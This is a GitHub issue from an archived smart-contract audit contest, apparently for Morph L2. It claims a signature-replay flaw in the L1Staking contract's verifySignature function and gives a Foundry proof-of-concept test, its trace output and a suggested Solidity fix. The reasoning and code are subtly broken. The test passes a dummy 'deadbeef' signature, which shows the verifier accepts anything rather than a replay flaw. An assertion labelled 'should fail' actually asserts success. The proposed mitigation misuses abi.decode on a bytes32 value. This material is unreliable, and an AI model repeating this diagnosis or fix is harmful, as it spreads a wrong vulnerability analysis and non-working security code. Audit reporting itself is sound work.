This repository was archived by the owner on Mar 30, 2025. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 7
This repository was archived by the owner on Mar 30, 2025. It is now read-only.
fat32 - L1Staking contract has Missing Protection against Signature Replay Attacks #240
Copy link
Copy link
Open
Description
fat32
High
L1Staking contract has Missing Protection against Signature Replay Attacks
Missing Protection against Signature Replay Attacks
Severity: High
Issue Type: Missing Protection against Signature Replay Attacks
Location: Function verifySignature
at Lines 324-332
https://github.com/sherlock-audit/2024-08-morphl2/blob/main/morph/contracts/contracts/l1/staking/L1Staking.sol#L324-L332
Auditor: fat32
Impact:
Without mechanisms to prevent replay attacks, valid signatures can be reused maliciously to perform unauthorized actions multiple times. This vulnerability allows attackers to:
- Repeated Unauthorized Actions: Perform the same restricted operation repeatedly.
- State Manipulation: Alter contract state in unintended ways, such as repeatedly slashing stakers.
- Erosion of Contract Integrity: Undermine the trustworthiness and reliability of the contract's security measures.
Foundry Coded Proof of Concept:
// SPDX-License-Identifier: MIT
pragma solidity =0.8.24;
import "../../lib/forge-std/src/Test.sol";
import {L1Staking} from "../l1/staking/L1Staking.sol";
contract L1StakingReplayAttackPOC is Test {
L1Staking staking;
function setUp() public {
staking = new L1Staking(payable(address(0)));
}
function testSignatureReplay() public {
vm.startPrank(address(0xfEEF));
address[] memory addrr = new address[](4);
addrr[0] = address(0);
addrr[1] = address(0);
addrr[2] = address(0);
addrr[3] = address(0);
bytes32 msgHash = keccak256(abi.encodePacked("test"));
bytes memory signature = hex"deadbeef";
// First verification
bool first = staking.verifySignature(0, addrr, msgHash, signature);
assertTrue(first, "First signature verification should pass");
// Replay verification
bool second = staking.verifySignature(0, addrr, msgHash, signature);
assertTrue(second, "Replay signature verification should fail");
vm.stopPrank();
}
}
Log Results - Foundry:
contracts % forge test -vvvvv --match-contract L1StakingReplayAttackPOC
[⠊] Compiling...
Ran 1 test for contracts/test/L1Staking.t.sol:L1StakingReplayAttackPOC
[PASS] testSignatureReplay() (gas: 14435)
Traces:
[3619382] L1StakingReplayAttackPOC::setUp()
├─ [3576780] → new L1Staking@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
│ ├─ emit Initialized(version: 255)
│ └─ ← [Return] 17745 bytes of code
└─ ← [Stop]
[14435] L1StakingReplayAttackPOC::testSignatureReplay()
├─ [0] VM::startPrank(0x000000000000000000000000000000000000FeEF)
│ └─ ← [Return]
├─ [821] L1Staking::verifySignature(0, [0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000], 0x9c22ff5f21f0b81b113e63f7db6da94fedef11b2119b4088b89664fb9a3cb658, 0xdeadbeef) [staticcall]
│ └─ ← [Return] true
├─ [0] VM::assertTrue(true, "First signature verification should pass") [staticcall]
│ └─ ← [Return]
├─ [821] L1Staking::verifySignature(0, [0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000], 0x9c22ff5f21f0b81b113e63f7db6da94fedef11b2119b4088b89664fb9a3cb658, 0xdeadbeef) [staticcall]
│ └─ ← [Return] true
├─ [0] VM::assertTrue(true, "Replay signature verification should fail") [staticcall]
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.78ms (2.77ms CPU time)
Ran 1 test suite in 623.45ms (7.78ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Solidity Coded Mitigation:
Implement nonce management to ensure each signature is unique and cannot be reused.
// Add a mapping to track used nonces
mapping(bytes32 => bool) public usedNonces;
// Modify verifySignature to include nonce
function verifySignature(
uint256 signedSequencersBitmap,
address[] calldata sequencerSet,
bytes32 msgHash,
bytes calldata signature
) external returns (bool) {
// Assume msgHash includes a unique nonce
(bytes32 nonce, bytes32 originalHash) = abi.decode(msgHash, (bytes32, bytes32));
require(!usedNonces[nonce], "Signature has been replayed");
address signer = originalHash.toEthSignedMessageHash().recover(signature);
require(signer == owner(), "Invalid signer");
// Mark nonce as used
usedNonces[nonce] = true;
return true;
}
References:
Metadata
Metadata
Assignees
Labels
No labels